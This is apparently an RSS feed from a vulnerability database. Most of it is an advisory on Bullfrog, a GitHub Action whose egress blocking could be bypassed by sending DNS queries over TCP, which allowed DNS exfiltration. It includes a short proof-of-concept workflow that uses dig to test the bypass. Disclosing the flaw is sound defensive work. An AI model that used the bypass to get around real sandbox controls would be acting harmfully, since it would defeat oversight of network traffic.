https://db.gcve.eu/rss/recent/all/10 Most recent entries from all 2026-10-05T15:53:57.790949+00:00 Vulnerability-Lookup info@gcve.eu python-feedgen Contains only the most 10 recent entries. https://db.gcve.eu/vuln/bdu:2025-15958 bdu:2025-15958 2026-10-05T15:53:57.828003+00:00 bdu:2025-15958 https://db.gcve.eu/vuln/fkie_cve-2025-47775 fkie_cve-2025-47775 2026-10-05T15:53:57.828145+00:00

Bullfrog is a GithHb Action to block unauthorized outbound traffic in GitHub workflows. Prior to version 0.8.4, using tcp breaks blocking and allows DNS exfiltration. This can result in sandbox bypass. Version 0.8.4 fixes the issue.

 https://db.gcve.eu/vuln/ghsa-m32f-fjw2-37v3 GHSA-m32f-fjw2-37v3 — Bullfrog's DNS over TCP bypasses domain filtering 2026-10-05T15:53:57.828208+00:00

Affected: GitHub Actions: bullfrogsec/bullfrog

### Summary

Using tcp breaks blocking and allows DNS exfiltration.

### PoC

``` name: test on: push: branches: - "*"

jobs: testBullFrog: runs-on: ubuntu-22.04 steps: - name: Use google dns run: | sudo resolvectl dns eth0 1.1.1.1 resolvectl status - name: Set up bullfrog to block everything uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2 with: egress-policy: block allowed-domains: | *.github.com - name: Test connectivity run: | echo testing udp allowed .. dig api.github.com @1.1.1.1 || : echo testing tcp allowed .. dig api.github.com @1.1.1.1 +tcp || :

echo testing udp not allowed dig api.google.com @1.1.1.1 || : echo testing tcp not allowed dig api.google.com @1.1.1.1 +tcp || : ```

### Impact

sandbox bypass

![image](https://github.com/user-attachments/assets/fba18a17-2d49-48cd-9aae-713e95b5270d)